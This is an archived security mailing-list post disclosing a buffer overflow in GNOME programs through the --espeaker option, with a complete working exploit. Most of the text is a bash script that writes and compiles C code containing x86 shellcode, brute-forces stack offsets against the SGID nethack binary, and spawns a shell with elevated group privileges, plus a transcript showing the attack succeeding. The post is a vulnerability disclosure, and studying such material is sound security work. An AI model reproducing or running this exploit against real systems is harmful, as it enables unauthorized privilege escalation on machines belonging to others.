Greetings,
Virtually any program using the GNOME libraries is vulnerable to a
buffer overflow attack. The attack comes in the form:
/path/to/gnome/prog --enable-sound --espeaker=$80bytebuffer
The following exploit should work against any GNOME program, though I
tried it on (the irony) /usr/games/nethack, which is SGID root by default
on RH6.0. An attack on any program will look something like this:
[xnec@redhack gnox]$ uname -a; cat /etc/redhat-release; id
Linux redhack 2.2.9-19mdk #1 Wed May 19 19:53:00 GMT 1999 i686 unknown
Linux Mandrake release 6.0 (Venus)
uid=501(xnec) gid=501(xnec) groups=501(xnec)
[xnec@redhack gnox]$ ./gnox.sh
Building /tmp/gnox.c...
...done!
Building /tmp/gn.c...
...done!
Compiling /tmp/gnox...
...done!
Compiling /tmp/gn...
...done!
Launching attack...
... pages and pages of segfaults
Generic GNOME exploit for Linux x86
Brock Tellier btellierat_private
Using addr: 0xbffff988 buflen:90 offset:208
Can't resolve host name "ë^1AFF
°
óV
I1UØ@IèÜÿÿÿ/tmp/gnùÿ¿ùÿ¿Xúÿ¿Z"!
before: uid=501, euid=501, gid=501, egid=0
after: uid=501, euid=501, gid=0, egid=0
[xnec@redhack gnomehack]$ id
uid=501(xnec) gid=0(root) groups=501(xnec)
Brock Tellier
UNIX Systems Administrator
Webley Systems
www.webley.com
--- gnox.sh ---
#!/bin/bash
# Generic exploit for GNOME apps under Linux x86
# Our overflowed buffer is just 80 bytes so we'll have to get our
settings
# just so. Hence the shell script.
#
# This should work against any su/gid GNOME program. The only one that
comes
# with RH6.0 that is su/gid root is (the irony is killing me) nethack.
#
# Change the /usr/games/nethack statement in the while loop below to
exploit
# a different program.
#
# -Brock Tellier btellierat_private
echo "Building /tmp/gnox.c..."
cat > /tmp/gnox.c <<EOF
/*
* Generic GNOME overflow exploit for Linux x86, tested on RH6.0
* Will work against any program using the GNOME libraries in the form
* Keep your BUFSIZ at 90 and only modify your offset
*
*/
#include <stdlib.h>
#include <stdio.h>
char gnoshell[]= /* Generic Linux x86 shellcode modified to run our
program */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/gn";
#define LEN 120
#define BUFLEN 90 /* no need to change this */
#define NOP 0x90
#define DEFAULT_OFFSET 300
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
void main(int argc, char *argv[]) {
int offset, i;
int buflen = BUFLEN;
long int addr;
char buf[BUFLEN];
char gnobuf[LEN];
if(argc > 2) {
fprintf(stderr, "Error: Usage: %s <offset>\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);
}
else {
offset=DEFAULT_OFFSET;
}
addr=get_sp();
fprintf(stderr, "Generic GNOME exploit for Linux x86\n");
fprintf(stderr, "Brock Tellier btellierat_private\n\n");
fprintf(stderr, "Using addr: 0x%x buflen:%d offset:%d\n", addr-offset,
buflen, offset);
memset(buf,NOP,buflen);
memcpy(buf+35,gnoshell,strlen(gnoshell));
for(i=35+strlen(gnoshell);i<buflen-4;i+=4)
*(int *)&buf[i]=addr-offset;
sprintf(gnobuf, "--enable-sound --espeaker=%s", buf);
for(i=0;i<strlen(gnobuf);i++)
putchar(gnobuf[i]);
}
EOF
echo "...done!"
echo "Building /tmp/gn.c..."
cat > /tmp/gn.c <<EOF
#include <unistd.h>
void main() {
printf("before: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),
geteuid(), getgid(), getegid());
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
printf("after: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),
geteuid(), getgid(), getegid());
system("/bin/bash");
}
EOF
echo "...done!"
echo "Compiling /tmp/gnox..."
gcc -o /tmp/gnox /tmp/gnox.c
echo "...done!"
echo "Compiling /tmp/gn..."
gcc -o /tmp/gn /tmp/gn.c
echo "...done!"
echo "Launching attack..."
offset=0
while [ $offset -lt 10000 ]; do
/usr/games/nethack `/tmp/gnox $offset`
offset=`expr $offset + 4`
done
echo "...done!"
------
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:05:17 PDT